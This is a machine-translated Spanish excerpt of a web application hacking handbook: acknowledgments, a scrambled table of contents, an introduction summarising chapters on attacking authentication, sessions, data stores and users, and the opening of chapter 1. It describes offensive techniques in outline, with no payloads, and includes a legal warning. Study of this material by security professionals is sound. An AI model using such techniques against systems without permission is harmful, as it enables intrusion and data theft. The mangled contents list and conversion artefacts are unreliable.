Documentos de Académico
Documentos de Profesional
Documentos de Cultura
?? ?????? ??? ????? ?? ???????????? ???
?? ?????? ??? ????? ?? ???????????? ???
me/librosdehacking
Machine Translated by Google
Machine Translated by Google
La aplicación web
Manual del hacker
Segunda edicion
Dafydd Stuttard
Marcus Pinto
Machine Translated by Google
iii
Machine Translated by Google
IV
Machine Translated by Google
en
Machine Translated by Google
Créditos
nosotros
Machine Translated by Google
Expresiones de gratitud
Estamos en deuda con los directores y otras personas de Next Generation Security
Software, quienes nos proporcionaron el entorno adecuado para realizar la primera
edición de este libro. Desde entonces, nuestro aporte proviene de una comunidad cada
vez más amplia de investigadores y profesionales que han compartido sus ideas y
contribuido a la comprensión colectiva de los problemas de seguridad de las aplicaciones
web que existen en la actualidad. Debido a que este es un manual práctico en lugar de
un trabajo académico, hemos evitado deliberadamente llenarlo con miles de citas de
artículos, libros y publicaciones de blog influyentes que generaron las ideas involucradas.
Esperamos que las personas cuyo trabajo analizamos de forma anónima estén satisfechas
con el crédito general que se otorga aquí.
Agradecemos a la gente de Wiley, en particular a Carol Long por apoyar con
entusiasmo nuestro proyecto desde el principio, a Adaobi Obi Tulton por
ayudarnos a pulir nuestro manuscrito y enseñarnos las peculiaridades del
“inglés americano”, a Gayle Johnson por su edición de textos muy útil y atenta,
y al equipo de Katie Wisor por ofrecer una producción de primer nivel.
Agradecemos en gran medida a nuestras respectivas socias, Becky y Amanda, por
tolerar la importante distracción y el tiempo que implica la producción de un libro de
este tamaño.
Ambos autores están en deuda con las personas que nos guiaron en nuestra inusual
línea de trabajo. Dafydd quisiera agradecer a Martin Law. Martin es un gran tipo que
primero me enseñó cómo piratear y me animó a dedicar mi tiempo a desarrollar técnicas
y herramientas para atacar aplicaciones. A Marcus le gustaría agradecer a sus padres
por todo lo que han hecho y siguen haciendo, incluso por introducirme en las
computadoras. Me he estado metiendo en las computadoras desde entonces.
viii
Machine Translated by Google
Contenido de un vistazo
Introducción XXIII
Índice 853
viii
Machine Translated by Google
Contenido
Introducción XXIII
Gestión de sesiones 19
Control de acceso 20
Variedades de Entrada 21
Validación de límites 25
Manejo de atacantes 30
Manejo de errores 30
Administradores de alertas 33
ix
Machine Translated by Google
X Contenido
Administrar la aplicación 35
Resumen 36
Preguntas 36
Funcionalidad Web 51
Esquemas de codificación 66
Codificación de URL 67
Codificación Unicode 67
Codificación HTML 68
Codificación Base64 69
Codificación hexadecimal 69
Próximos pasos 70
Preguntas 71
Análisis de la aplicación 97
Resumen 114
Preguntas 114
Machine Translated by Google
Contenido xi
resumen 154
154
155
156
156
157
Contenido xii
Contenido xiii
Resumen 354
Preguntas 354
Contenido xiv
Resumen 402
Preguntas 403
Resumen 429
Preguntas 430
Contenido xiv
Resumen 498
Preguntas 498
Autocompletar 552
Atacar al navegador 05
Contenido xvi
Resumen 568
Preguntas 568
Resumen 613
Preguntas 613
Resumen 629
Preguntas 630
Contenido xvii
Resumen 645
Preguntas 645
Resumen 667
Preguntas 667
Resumen 699
Preguntas 699
xviii Contenido
Contents xix
bicho de fuego
785
Hidra 785
Resumen 789
depuración 798
Probar los controles del lado del cliente sobre la entrada del 801
nombre de usuario 806 4.4 Resiliencia a la contraseña Agradezca 807 4.5 Test Función de
recuperación 807 4.6 Probar cualquier función Recordarme 808 4.7 Probar cualquier función
de
suplantación 808 4.8 Probar la unicidad del nombre de usuario 809 4.9 Probar la previsibilidad
de
las credenciales generadas automáticamente 809 4.10 Verificar la transmisión no segura de
credenciales 810 4.11 Verificar la distribución no segura de credenciales 810 4.12 Probar el
almacenamiento no seguro 811 4.13 Probar la lógica Defectos 811 4.14 Aprovechar cualquier
vulnerabilidad para obtener acceso no autorizado 813 814 814 815 816
x Contenido
con varias cuentas 6.3 Prueba con acceso limitado 6.4 Prueba de 822
métodos de control de acceso inseguros 822
823
web 848
Machine Translated by Google
Contenido xxi
Índice 853
Machine Translated by Google
Machine Translated by Google
Introducción
Este libro es una guía práctica para descubrir y explotar fallas de seguridad en
aplicaciones web. Por "aplicaciones web" nos referimos a aquellas a las que se accede
mediante un navegador web para comunicarse con un servidor web. Examinamos una
amplia variedad de tecnologías diferentes, como bases de datos, sistemas de archivos
y servicios web, pero solo en el contexto en el que se emplean en aplicaciones web.
Si desea aprender cómo ejecutar escaneos de puertos, atacar firewalls o ingresar a
servidores de otras formas, le sugerimos que busque en otra parte. Pero si desea saber
cómo piratear una aplicación web, robar datos confidenciales y realizar acciones no
autorizadas, este es el libro para usted. Hay suficientes cosas interesantes y divertidas
que decir sobre ese tema sin desviarnos a ningún otro territorio.
XXIII
Machine Translated by Google
XXIV Introducción
La audiencia principal de este libro es cualquiera que tenga un interés personal o profesional
en atacar aplicaciones web. También está dirigido a cualquier persona responsable del
desarrollo y administración de aplicaciones web. Saber cómo operan tus enemigos te ayudará
a defenderte de ellos.
Suponemos que está familiarizado con los conceptos básicos de seguridad, como inicios
de sesión y controles de acceso, y que tiene un conocimiento básico de las tecnologías web
básicas , como navegadores, servidores web y HTTP. Sin embargo, cualquier laguna en su
conocimiento actual de estas áreas será fácil de remediar, ya sea a través de las explicaciones
contenidas en este libro o referencias en otros lugares.
Mientras ilustramos muchas categorías de fallas de seguridad, proporcionamos extractos
de código que muestran cómo las aplicaciones pueden ser vulnerables. Estos ejemplos son
lo suficientemente simples como para que pueda entenderlos sin ningún conocimiento previo
del idioma en cuestión. Pero son más útiles si tiene alguna experiencia básica con la lectura
o escritura de código.
Este libro está organizado aproximadamente de acuerdo con las dependencias entre los
diferentes temas tratados. Si es nuevo en la piratería de aplicaciones web, debe leer el libro
de principio a fin, adquiriendo el conocimiento y la comprensión que necesita para abordar los
capítulos posteriores. Si ya tiene algo de experiencia en esta área, puede pasar directamente
a cualquier capítulo o subsección que le interese en particular.
Donde fue necesario, hemos incluido referencias cruzadas a otros capítulos, que puede usar
para llenar cualquier vacío en su comprensión.
Comenzamos con tres capítulos contextuales que describen el estado actual de la seguridad
de las aplicaciones web y las tendencias que indican cómo es probable que evolucione en el
futuro cercano. Examinamos el problema central de seguridad que afecta a las aplicaciones
web y los mecanismos de defensa que implementan las aplicaciones para abordar este
problema. También proporcionamos una introducción a las tecnologías clave utilizadas en las
aplicaciones web actuales.
La mayor parte del libro se ocupa de nuestro tema central: las técnicas que puede usar
para ingresar a las aplicaciones web. Este material está organizado en torno a las tareas clave
que debe realizar para llevar a cabo un ataque integral. Estos incluyen el mapeo de la
funcionalidad de la aplicación, el escrutinio y el ataque de sus mecanismos de defensa básicos
y el sondeo de categorías específicas de fallas de seguridad.
Machine Translated by Google
Introducción xxv
El libro concluye con tres capítulos que reúnen los diversos hilos presentados en
el libro. Describimos el proceso de encontrar vulnerabilidades en el código fuente
de una aplicación, revisamos las herramientas que pueden ayudar cuando piratea
aplicaciones web y presentamos una metodología detallada para realizar un ataque
integral y profundo contra un objetivo específico.
El Capítulo 1, “(In)seguridad de las aplicaciones web”, describe el estado actual de la
seguridad en las aplicaciones web en Internet en la actualidad. A pesar de las garantías comunes,
la mayoría de las aplicaciones son inseguras y pueden verse comprometidas de alguna manera
con un grado modesto de habilidad. Las vulnerabilidades en las aplicaciones web surgen debido
a un único problema central: los usuarios pueden enviar entradas arbitrarias. Este capítulo
examina los factores clave que contribuyen a la postura de seguridad débil de las aplicaciones actuales.
También describe cómo los defectos en las aplicaciones web pueden dejar la infraestructura
técnica más amplia de una organización altamente vulnerable a los ataques.
El Capítulo 2, "Mecanismos básicos de defensa", describe los mecanismos de seguridad clave
que emplean las aplicaciones web para abordar el problema fundamental de que todas las
entradas del usuario no son de confianza. Estos mecanismos son los medios por los cuales una
aplicación administra el acceso de los usuarios, maneja las entradas de los usuarios y responde
a los atacantes. Estos mecanismos también incluyen las funciones proporcionadas a los
administradores para administrar y monitorear la aplicación en sí. Los mecanismos de seguridad
centrales de la aplicación también representan su principal superficie de ataque, por lo que debe
comprender cómo se pretende que funcionen estos mecanismos antes de poder atacarlos de manera efectiva.
El Capítulo 3, "Tecnologías de aplicaciones web", es un breve resumen de las
tecnologías clave que probablemente encontrará al atacar aplicaciones web. Cubre
todos los aspectos relevantes del protocolo HTTP, las tecnologías comúnmente
utilizadas en el lado del cliente y del servidor, y varios esquemas utilizados para
codificar datos. Si ya está familiarizado con las principales tecnologías web, puede
hojear este capítulo.
El Capítulo 4, “Asignación de la aplicación”, describe el primer ejercicio que debe realizar
cuando se dirige a una nueva aplicación: recopilar la mayor cantidad de información posible para
mapear su superficie de ataque y formular su plan de ataque. Este proceso incluye explorar y
probar la aplicación para catalogar todo su contenido y funcionalidad, identificar todos los puntos
de entrada para la entrada del usuario y descubrir las tecnologías en uso.
El Capítulo 5, "Evitar los controles del lado del cliente", cubre la primera área de vulnerabilidad
real, que surge cuando una aplicación depende de los controles implementados en el lado del
cliente para su seguridad. Este enfoque normalmente es defectuoso, porque cualquier control del
lado del cliente puede, por supuesto, eludirse. Las dos formas principales en que las aplicaciones
se vuelven vulnerables son transmitiendo datos a través del cliente suponiendo que no se
modificarán y confiando en las verificaciones del lado del cliente sobre la entrada del usuario.
Este capítulo describe una variedad de tecnologías interesantes, que incluyen controles ligeros
implementados en HTML, HTTP y JavaScript, y controles más pesados que usan applets de
Java, controles ActiveX, Silverlight y objetos Flash.
Machine Translated by Google
xxv Introducción
Los capítulos 6, 7 y 8 cubren algunos de los mecanismos de defensa más importantes implementados
dentro de las aplicaciones web: los responsables de controlar el acceso de los usuarios. El Capítulo 6,
"Autenticación de ataque", examina las diversas funciones mediante las cuales las aplicaciones se
aseguran de la identidad de sus usuarios. Esto incluye la función de inicio de sesión principal y también
las funciones más periféricas relacionadas con la autenticación, como el registro de usuarios, el cambio
de contraseña y la recuperación de cuentas. Los mecanismos de autenticación contienen una gran
cantidad de vulnerabilidades diferentes, tanto en el diseño como en la implementación, que un atacante
puede aprovechar para obtener acceso no autorizado.
Estos van desde defectos obvios, como contraseñas incorrectas y susceptibilidad a ataques de fuerza
bruta, hasta problemas más oscuros dentro de la lógica de autenticación.
También examinamos en detalle los tipos de mecanismos de inicio de sesión de varias etapas que se
utilizan en muchas aplicaciones críticas para la seguridad y describimos los nuevos tipos de
vulnerabilidades que contienen con frecuencia.
El Capítulo 7, "Administración de sesiones de ataque", examina el mecanismo mediante el cual la
mayoría de las aplicaciones complementan el protocolo HTTP sin estado con el concepto de una sesión
con estado, lo que les permite identificar de manera única a cada usuario en varias solicitudes diferentes.
Este mecanismo es un objetivo clave cuando ataca una aplicación web, porque si puede romperlo,
puede evitar el inicio de sesión y hacerse pasar por otros usuarios sin conocer sus credenciales.
Analizamos varios defectos comunes en la generación y transmisión de tokens de sesión y describimos
los pasos que puede seguir para descubrirlos y explotarlos.
El Capítulo 8, “Ataques a los controles de acceso”, analiza las formas en que las aplicaciones
realmente imponen los controles de acceso, confiando en los mecanismos de autenticación y
administración de sesiones para hacerlo. Describimos varias formas en que se pueden romper los
controles de acceso y cómo puede detectar y explotar estas debilidades.
Los capítulos 9 y 10 cubren una gran categoría de vulnerabilidades relacionadas, que surgen cuando
las aplicaciones incorporan la entrada del usuario en el código interpretado de manera no segura. El
Capítulo 9, "Ataque a los almacenes de datos", comienza con un examen detallado de las vulnerabilidades
de inyección SQL. Cubre la gama completa de ataques, desde los más obvios y triviales hasta las
técnicas de explotación avanzadas que involucran canales fuera de banda, inferencia y retrasos de
tiempo. Para cada tipo de vulnerabilidad y técnica de ataque, describimos las diferencias relevantes
entre tres tipos comunes de bases de datos: MS-SQL, Oracle y MySQL. Luego, analizamos una variedad
de ataques similares que surgen contra otros almacenes de datos, incluidos NoSQL, XPath y LDAP.
Introducción xxvii
como inyección SQL y secuencias de comandos entre sitios. Por ello, presentamos una serie
de ejemplos del mundo real en los que una lógica defectuosa ha dejado vulnerable a una
aplicación. Estos ilustran la variedad de suposiciones erróneas que hacen los diseñadores y
desarrolladores de aplicaciones. A partir de estos diferentes defectos individuales, derivamos
una serie de pruebas específicas que puede realizar para localizar muchos tipos de defectos
lógicos que a menudo pasan desapercibidos.
Los capítulos 12 y 13 cubren un área amplia y muy actual de vulnerabilidades relacionadas
que surgen cuando los defectos dentro de una aplicación web pueden permitir que un usuario
malintencionado de la aplicación ataque a otros usuarios y los comprometa de varias maneras. El
capítulo 12, "Usuarios atacantes: secuencias de comandos entre sitios", examina la vulnerabilidad
más destacada de este tipo, una falla muy frecuente que afecta a la gran mayoría de las
aplicaciones web en Internet. Examinamos en detalle todos los diferentes tipos de vulnerabilidades
XSS y describimos una metodología efectiva para detectar y explotar incluso las manifestaciones
más oscuras de estas.
El Capítulo 13, "Usuarios atacantes: otras técnicas", analiza varios otros tipos de ataques
contra otros usuarios, incluida la inducción de acciones del usuario a través de la falsificación de
solicitudes y la reparación de la interfaz de usuario, la captura de datos entre dominios utilizando
varias tecnologías del lado del cliente, varios ataques contra el mismo -política de origen, inyección
de encabezado HTTP , inyección de cookies y fijación de sesión, redirección abierta, inyección de
SQL del lado del cliente, ataques de privacidad local y explotación de errores en los controles
ActiveX. El capítulo concluye con una discusión de una variedad de ataques contra los usuarios
que no dependen de las vulnerabilidades en ninguna aplicación web en particular, pero que
pueden enviarse a través de cualquier sitio web malicioso o atacante posicionado adecuadamente.
El Capítulo 14, "Automatización de ataques personalizados", no introduce nuevas categorías
de vulnerabilidades. En cambio, describe una técnica crucial que debe dominar para atacar las
aplicaciones web de manera efectiva. Debido a que cada aplicación web es diferente, la mayoría
de los ataques se personalizan de alguna manera, se adaptan al comportamiento específico de
la aplicación y las formas que ha descubierto para manipularla en su beneficio. También requieren
con frecuencia emitir una gran cantidad de solicitudes similares y monitorear las respuestas de la
aplicación. Realizar estas solicitudes manualmente es extremadamente laborioso y propenso a
errores. Para convertirse en un verdadero hacker de aplicaciones web, necesita automatizar la
mayor parte posible de este trabajo para que sus ataques personalizados sean más fáciles,
rápidos y efectivos . Este capítulo describe en detalle una metodología comprobada para lograr
esto.
También examinamos varias barreras comunes para el uso de la automatización, incluidos los
mecanismos defensivos de manejo de sesiones y los controles CAPTCHA. Además, describimos
herramientas y técnicas que puede utilizar para superar estas barreras.
El Capítulo 15, "Aprovechamiento de la divulgación de información", examina varias formas en
que las aplicaciones filtran información cuando están bajo un ataque activo. Cuando realice todos
los otros tipos de ataques descritos en este libro, siempre debe monitorear la aplicación para
identificar otras fuentes de divulgación de información que pueda explotar. Describimos cómo
puede investigar el comportamiento anómalo y los mensajes de error para obtener una
comprensión más profunda de la aplicación.
Machine Translated by Google
xxviii Introducción
Introducción xxix
puede ser efectivo para encontrar vulnerabilidades de aplicaciones web. Finalmente, brindamos algunos
consejos y sugerencias para aprovechar al máximo su conjunto de herramientas.
El Capítulo 21, “La metodología de un hacker de aplicaciones web”, es una recopilación completa y
estructurada de todos los procedimientos y técnicas descritos en este libro. Estos se organizan y ordenan
de acuerdo con las dependencias lógicas entre las tareas cuando se lleva a cabo un ataque real. Si ha
leído y entendido todas las vulnerabilidades y técnicas descritas en este libro, puede utilizar esta
metodología como una lista de verificación completa y un plan de trabajo al realizar un ataque contra
una aplicación web.
Esta segunda edición no es una reescritura completa de la primera. La mayor parte del material de la
primera edición sigue siendo válido y actual en la actualidad. Aproximadamente el 30 % del contenido
de esta edición es nuevo o ha sido revisado exhaustivamente. El 70% restante ha tenido modificaciones
menores o ninguna. Si se ha actualizado desde la primera edición y se siente decepcionado por estos
números, debe animarse. Si domina todas las técnicas descritas en la primera edición, ya tiene la
mayoría de las habilidades y conocimientos que necesita. Puede concentrarse en las novedades de esta
edición y aprender rápidamente sobre las áreas de seguridad de aplicaciones web que han cambiado
en los últimos años.
Una característica nueva significativa de la segunda edición es la inclusión a lo largo del libro de
ejemplos reales de casi todas las vulnerabilidades que se tratan.
Dondequiera que vea un "¡Pruébelo!" enlace, puede conectarse en línea y trabajar interactivamente con
el ejemplo que se está discutiendo para confirmar que puede encontrar y explotar la vulnerabilidad que
contiene. Hay varios cientos de estos laboratorios, en los que puede trabajar a su propio ritmo mientras
lee el libro. Los laboratorios en línea están disponibles mediante suscripción por una tarifa modesta para
cubrir los costos de hospedaje y mantenimiento de la infraestructura involucrada.
Machine Translated by Google
Introducción
Si quiere centrarse en las novedades de la segunda edición, aquí tiene un resumen de las áreas
clave en las que se ha añadido o reescrito material: El Capítulo 1, "(In)seguridad de las aplicaciones
web", se ha actualizado parcialmente para reflejar nuevos usos. de aplicaciones web, algunas
tendencias generales en tecnologías y las formas en que el perímetro de seguridad de una organización
típica ha seguido cambiando.
El Capítulo 2, "Mecanismos básicos de defensa", ha tenido cambios menores. Se
han agregado algunos ejemplos de técnicas genéricas para eludir las defensas de
validación de entrada.
El Capítulo 3, "Tecnologías de aplicaciones web", se ha ampliado con algunas secciones nuevas
que describen tecnologías que son nuevas o que se describieron más brevemente en otra parte de la
primera edición. Los temas agregados incluyen REST, Ruby on Rails, SQL, XML, servicios web, CSS,
VBScript, el modelo de objeto de documento, Ajax, JSON, la política del mismo origen y HTML5.
El Capítulo 4, “Mapeo de la aplicación”, ha recibido varias actualizaciones menores para reflejar los
avances en las técnicas para mapear el contenido y la funcionalidad.
El Capítulo 5, "Omisión de los controles del lado del cliente", se actualizó más extensamente . En
particular, la sección sobre tecnologías de extensión del navegador se ha reescrito en gran parte para
incluir una guía más detallada sobre enfoques genéricos para la decompilación y depuración de códigos
de bytes, cómo manejar datos serializados en formatos comunes y cómo lidiar con obstáculos comunes
para su trabajo, incluidos los no -Clientes con reconocimiento de proxy y problemas con SSL. El
capítulo ahora también cubre la tecnología Silverlight.
El Capítulo 8, "Ataque a los controles de acceso", ahora cubre las capacidades de las
vulnerabilidades de control de acceso que surgen del acceso directo a los métodos del lado del servidor
y de la configuración incorrecta de la plataforma donde se usan reglas basadas en métodos HTTP para
controlar el acceso. También describe algunas herramientas y técnicas nuevas que puede utilizar para
automatizar parcialmente la tarea frecuentemente onerosa de probar los controles de acceso.
El material de los capítulos 9 y 10 se ha reorganizado para crear capítulos más manejables y una
disposición más lógica de los temas. El Capítulo 9, "Atacar almacenes de datos", se centra en la
inyección de SQL y ataques similares contra otras tecnologías de almacenamiento de datos. Dado que
las vulnerabilidades de inyección de SQL se han vuelto más conocidas y abordadas, este material
ahora se enfoca más en situaciones prácticas en las que todavía se encuentra la inyección de SQL.
También hay actualizaciones menores para reflejar las tecnologías actuales y los métodos de ataque.
Se incluye una nueva sección sobre el uso de herramientas automatizadas para explotar vulnerabilidades
de inyección SQL. El material sobre la inyección LDAP se ha reescrito en gran medida para incluir
información más detallada.
Machine Translated by Google
Introducción xxxi
xxxiii Introducción
Este libro está fuertemente orientado hacia técnicas prácticas que puede usar para atacar
aplicaciones web. Después de leer el libro, comprenderá las especificaciones de cada tarea
individual, lo que implica técnicamente y por qué lo ayuda a detectar y explotar vulnerabilidades.
Enfáticamente, el libro no se trata de descargar una herramienta, apuntarla a una aplicación de
destino y creer lo que la salida de la herramienta le dice sobre el estado de seguridad de la
aplicación.
Machine Translated by Google
Introducción xxxiii
n Una práctica lista de verificación de las tareas involucradas en atacar una aplicación
típica n Respuestas a las preguntas planteadas al final de cada capítulo n Cientos de
laboratorios de vulnerabilidad interactivos que se utilizan en ejemplos a lo largo de
este libro y que están disponibles por suscripción para ayudarlo desarrollar y
perfeccionar sus habilidades
Dale
La seguridad de las aplicaciones web sigue siendo un tema divertido y próspero.
Disfrutamos escribir este libro tanto como continuamos disfrutando hackeando
aplicaciones web a diario. Esperamos que también disfrute aprender sobre las diferentes
técnicas que describimos y cómo puede defenderse de ellas.
Antes de continuar, debemos mencionar una advertencia importante. En la mayoría
de los países, atacar los sistemas informáticos sin el permiso del propietario es ilegal .
La mayoría de las técnicas que describimos son ilegales si se llevan a cabo sin
consentimiento.
Los autores son evaluadores de penetración profesionales que atacan de forma
rutinaria las aplicaciones web en nombre de los clientes para ayudarlos a mejorar su
seguridad. En los últimos años, numerosos profesionales de la seguridad y otros
adquirieron antecedentes penales , y terminaron sus carreras, al experimentar o atacar
activamente los sistemas informáticos sin permiso. Le instamos a utilizar la información
contenida en este libro únicamente para fines lícitos.
Machine Translated by Google
Machine Translated by Google
Capítulo R
No hay duda de que la seguridad de las aplicaciones web es un tema actual y de interés
periodístico. Para todos los involucrados, hay mucho en juego: para las empresas que obtienen
ingresos crecientes del comercio por Internet, para los usuarios que confían en las aplicaciones
web con información confidencial y para los delincuentes que pueden ganar mucho dinero
robando detalles de pago o comprometiendo cuentas bancarias. La reputación juega un papel fundamental.
Pocas personas quieren hacer negocios con un sitio web inseguro, por lo que pocas
organizaciones quieren revelar detalles sobre sus propias vulnerabilidades o infracciones de seguridad.
Por lo tanto, no es una tarea trivial obtener información confiable sobre el estado de la seguridad
de las aplicaciones web en la actualidad.
Este capítulo analiza brevemente cómo han evolucionado las aplicaciones web y los muchos
beneficios que brindan. Presentamos algunas métricas sobre vulnerabilidades en las aplicaciones
web actuales, extraídas de la experiencia directa de los autores, que demuestran que la mayoría
de las aplicaciones están lejos de ser seguras. Describimos el problema central de seguridad que
enfrentan las aplicaciones web (que los usuarios pueden proporcionar entradas arbitrarias) y los
diversos factores que contribuyen a su postura de seguridad débil.
Finalmente, describimos las últimas tendencias en seguridad de aplicaciones web y cómo se
espera que se desarrollen en el futuro cercano.
1
Machine Translated by Google
búsqueda y la creación de contenido por parte de los usuarios. El contenido presentado a los
usuarios se genera dinámicamente sobre la marcha y, a menudo, se adapta a cada usuario específico.
Gran parte de la información procesada es privada y altamente sensible. La seguridad,
por lo tanto, es un gran problema. Nadie quiere usar una aplicación web si cree que su
información será revelada a terceros no autorizados.
interactiva (Wikipedia)
Las aplicaciones a las que se accede mediante un navegador de computadora se superponen cada
vez más con las aplicaciones móviles a las que se accede mediante un teléfono inteligente o una tableta.
La mayoría de las aplicaciones móviles emplean un navegador o un cliente personalizado que utiliza API
basadas en HTTP para comunicarse con el servidor. Las funciones y los datos de la aplicación
generalmente se comparten entre las diversas interfaces que la aplicación expone a diferentes plataformas
de usuario.
Además de la Internet pública, las aplicaciones web se han adoptado ampliamente dentro de las
organizaciones para respaldar las funciones comerciales clave. Muchos de estos brindan acceso a datos
y funcionalidades altamente confidenciales:
n Interfaces administrativas para la infraestructura clave, como servidores web y de correo, estaciones
de trabajo de usuarios y administración de máquinas virtuales. n Software de colaboración utilizado
para compartir documentos, gestionar el flujo de trabajo y los proyectos, y realizar un seguimiento de
los problemas. Estos tipos de funcionalidad a menudo involucran problemas críticos de seguridad
y gobierno, y las organizaciones a menudo confían completamente en los controles integrados en
sus aplicaciones web. n Las aplicaciones comerciales, como el software de planificación de
recursos empresariales (ERP), a las que antes se accedía mediante una aplicación patentada de
cliente pesado, ahora se puede acceder mediante un navegador web.
Machine Translated by Google
n Los servicios de software como el correo electrónico, que originalmente requerían un cliente de
correo electrónico independiente, ahora pueden accederse a través de interfaces web como
Outlook Web Access.
En todos estos ejemplos, las aplicaciones que se perciben como "internas" se hospedan
cada vez más en el exterior a medida que las organizaciones recurren a proveedores de servicios
externos para reducir costos. En estas llamadas soluciones en la nube , la funcionalidad y los
datos críticos para el negocio están abiertos a una gama más amplia de posibles atacantes, y
las organizaciones dependen cada vez más de la integridad de las defensas de seguridad que
están fuera de su control.
controles de entrada que son inmediatamente familiares para los usuarios, evitando la necesidad
de aprender cómo funciona cada aplicación individual. Las secuencias de comandos del lado
del cliente permiten que las aplicaciones envíen parte de su procesamiento al lado del cliente,
y las capacidades de los navegadores se pueden ampliar de forma arbitraria utilizando
tecnologías de extensión del navegador cuando sea necesario.
n Las tecnologías y los lenguajes principales utilizados para desarrollar aplicaciones web son
relativamente simples. Hay disponible una amplia gama de plataformas y herramientas de
desarrollo para facilitar el desarrollo de aplicaciones poderosas por parte de principiantes, y una
gran cantidad de código fuente abierto y otros recursos están disponibles para incorporarlos en
aplicaciones personalizadas.
Al igual que con cualquier nueva clase de tecnología, las aplicaciones web han traído
consigo una nueva gama de vulnerabilidades de seguridad. El conjunto de defectos más
comunes ha evolucionado un poco con el tiempo. Se han concebido nuevos ataques
que no se consideraron cuando se desarrollaron las aplicaciones existentes. Algunos
problemas se han vuelto menos frecuentes a medida que aumenta la conciencia sobre ellos.
Se han desarrollado nuevas tecnologías que han introducido nuevas posibilidades de
explotación. Algunas categorías de fallas han desaparecido en gran medida como resultado
de los cambios realizados en el software del navegador web.
Los ataques más graves contra las aplicaciones web son aquellos que exponen datos
confidenciales u obtienen acceso sin restricciones a los sistemas de back-end en los que se
ejecuta la aplicación. Compromisos de alto perfil de este tipo continúan ocurriendo con
frecuencia. Sin embargo, para muchas organizaciones, cualquier ataque que provoque un
tiempo de inactividad del sistema es un evento crítico. Los ataques de denegación de servicio
a nivel de aplicación se pueden utilizar para lograr los mismos resultados que el agotamiento de recursos tradicional
ataques contra la infraestructura. Sin embargo, a menudo se utilizan con técnicas y objetivos más
sutiles. Pueden usarse para interrumpir a un usuario o servicio en particular para obtener una ventaja
competitiva frente a sus pares en los ámbitos del comercio financiero, los juegos, las ofertas en línea y
las reservas de boletos.
A lo largo de esta evolución, los compromisos de aplicaciones web destacadas han permanecido en
las noticias. No tiene sentido que se haya doblado una esquina y que
estos problemas de seguridad están disminuyendo. En cierta medida, la seguridad de las aplicaciones
web es hoy en día el campo de batalla más importante entre los atacantes y quienes tienen recursos
informáticos y datos que defender, y es probable que siga siéndolo en el futuro previsible.
Machine Translated by Google
La mayoría de las aplicaciones afirman que son seguras porque usan SSL. Por ejemplo:
Este sitio es absolutamente seguro. Ha sido diseñado para usar la tecnología Secure Socket Layer (SSL)
de 128 bits para evitar que usuarios no autorizados vean su información. Puede usar este sitio con la
tranquilidad de que sus datos están seguros con nosotros.
A menudo se insta a los usuarios a verificar el certificado del sitio, admirar los protocolos criptográficos avanzados
en uso y, sobre esta base, confiarle su información personal.
Cada vez más, las organizaciones también citan su cumplimiento con los estándares de la industria de tarjetas
de pago (PCI) para asegurar a los usuarios que están seguros. Por ejemplo:
Nosotros nos tomamos la seguridad muy en serio. Nuestro sitio web se escanea diariamente para garantizar
que cumplamos con PCI y que estemos a salvo de piratas informáticos. Puede ver la fecha del último
escaneo en el logotipo a continuación, y tiene la garantía de que nuestro sitio web es seguro de usar.
De hecho, la mayoría de las aplicaciones web son inseguras, a pesar del uso
generalizado de la tecnología SSL y la adopción del escaneo PCI regular. Los
autores de este libro han probado cientos de aplicaciones web en los últimos años.
La Figura 1-3 muestra el porcentaje de aplicaciones probadas durante 2007 y 2011
que resultaron afectadas por algunas categorías comunes de vulnerabilidad:
n Autenticación rota (62%) : esta categoría de vulnerabilidad incluye varios defectos dentro del mecanismo
de inicio de sesión de la aplicación, lo que puede permitir que un atacante adivine contraseñas débiles,
inicie un ataque de fuerza bruta u omita el inicio de sesión.
n Controles de acceso rotos (71 %) : se trata de casos en los que la aplicación no protege adecuadamente
el acceso a sus datos y funciones, lo que podría permitir a un atacante ver los datos confidenciales de
otros usuarios almacenados en el servidor o llevar a cabo acciones privilegiadas. n Inyección SQL (32
%) : esta vulnerabilidad permite que un atacante envíe información manipulada para interferir con la
interacción de la aplicación con las bases de datos de back-end. Un atacante puede recuperar datos arbitrarios
de la aplicación, interferir con su lógica o ejecutar comandos en el propio servidor de la base de datos.
Machine Translated by Google
n Falsificación de solicitudes entre sitios (92 %) : esta falla significa que los
usuarios de la aplicación pueden ser inducidos a realizar acciones no deseadas
en la aplicación dentro de su contexto de usuario y nivel de privilegio. La
vulnerabilidad permite que un sitio web malicioso visitado por el usuario víctima
interactúe con la aplicación para realizar acciones que el usuario no pretendía.
Falsificación de solicitud
92%
entre sitios
0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100%
SSL es una excelente tecnología que protege la confidencialidad y la integridad de los datos en
tránsito entre el navegador del usuario y el servidor web. Ayuda a defenderse de los espías y puede
garantizar al usuario la identidad del servidor web con el que está tratando. Pero no detiene los
ataques que apuntan directamente a los componentes del servidor o del cliente de una aplicación,
como lo hacen la mayoría de los ataques exitosos.
Específicamente, no evita ninguna de las vulnerabilidades que se acaban de enumerar, ni muchas
otras que pueden hacer que una aplicación quede críticamente expuesta a ataques.
Independientemente de si usan SSL, la mayoría de las aplicaciones web aún contienen fallas de seguridad.
Machine Translated by Google
n Los usuarios pueden interferir con cualquier dato transmitido entre el cliente y el servidor, incluidos
los parámetros de solicitud, las cookies y los encabezados HTTP. Cualquier control de seguridad
implementado en el lado del cliente, como las verificaciones de validación de entrada, se puede
eludir fácilmente. n Los usuarios pueden enviar solicitudes en cualquier secuencia y pueden
enviar parámetros en una etapa diferente a la esperada por la aplicación, más de una vez o no
enviar ninguna.
Se puede violar cualquier suposición que hagan los desarrolladores sobre cómo los usuarios
interactuarán con la aplicación.
n Los usuarios no están restringidos a usar solo un navegador web para acceder a la aplicación.
Numerosas herramientas ampliamente disponibles funcionan junto o independientemente de
un navegador para ayudar a atacar las aplicaciones web. Estas herramientas pueden realizar
solicitudes que ningún navegador haría normalmente y pueden generar una gran cantidad de
solicitudes rápidamente para encontrar y explotar problemas.
La mayoría de los ataques contra las aplicaciones web implican el envío de información al servidor
que está diseñada para provocar algún evento que el diseñador de la aplicación no esperaba ni
deseaba. Estos son algunos ejemplos de cómo enviar aportes elaborados para lograr este objetivo:
n Alterar alguna entrada que será procesada por una base de datos de back-end para inyectar una
consulta de base de datos maliciosa y acceder a datos confidenciales
No hace falta decir que SSL no hace nada para evitar que un atacante envíe
información manipulada al servidor. Si la aplicación usa SSL, esto simplemente significa
que otros usuarios en la red no pueden ver ni modificar los datos del atacante en tránsito. Porque
Machine Translated by Google
el atacante controla su extremo del túnel SSL, puede enviar lo que quiera al servidor a través
de este túnel. Si alguno de los ataques mencionados anteriormente tiene éxito, la aplicación es
